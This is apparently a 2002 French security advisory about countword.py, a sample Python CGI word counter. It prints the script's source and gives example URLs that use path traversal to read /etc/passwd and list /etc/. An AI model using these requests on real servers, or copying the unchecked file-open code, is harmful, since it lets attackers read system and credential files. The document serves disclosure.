Faille dans countword.py ************************ Produit : ********* CountWord.py by D'Arcy J.M. Cain Versions : ********** 1.0 Date : ****** 26/01/02 Probleme : ********** - Lecture dans le disque dur. Developpement : *************** CountWord est un programme en language Python (www.python.org), distribué comme exemple par www.vex.net. Il est donc fort probable qu'il soit utilisé à d'autres endroits sur le net. Il ouvre un fichier, compte ses mots et en affiche une partie. Voici sa source avec expliquations du webmaster, traduites : ------------------------------------------------------------------------------------- #! /usr/local/bin/python # countword.py # Ecris par D'Arcy J.M. Cain # The Cain Gang Ltd. # darcy@vex.net # Un programme très simple compteur de mots. from HTML import * header('Word counter') # Ici quelques modules dont nous aurons besoin plus tard. Pour plus d'information sur les #modules inclus dans Python, voir http://www.python.org/doc/lib/lib.html. import sys, os, string, cgi if len(sys.argv) > 1: # crée un dictionnaire vide count = {} try: fp = open(sys.argv[1]) except: print """

Error opening file

Can't open file %s: %s""" % (sys.argv[1], sys.exc_value[1]) else: for line in fp.readlines(): for word in string.split(line): count[word] = count.get(word, 0) + 1 print """""" words = count.keys() words.sort() for word in words: print "" % (cgi.escape(word), count[word]) print "
WordCount
%s%s
" else: print """You need to specify a file. Just add a question mark followed by a file name to the URL. This file must be a publicly readable file on the system. Try counting the words in the source to this script for example.""" % os.environ.get('SCRIPT_FILENAME', '') # Maintenant on ajoute le pied de page standard que nous avons défini dans # le module HTML trailer('April 8 1998') ------------------------------------------------------------------------------------- La faille consiste en l'affichage du fichier password ou autre : http://www.host.com/countwordorothername.py?../../../etc/passwd pour afficher le contenu du fichier ou http://www.host.com/countwordorothername.py?/etc/ pour lister le repertoire. Le créateur du programme et vex.net ont été prévenus. Patch : ******* / Greetz : ******** Rodriguez, Val2 Credits : ********* frog-m@n (leseulfrog@hotmail.com)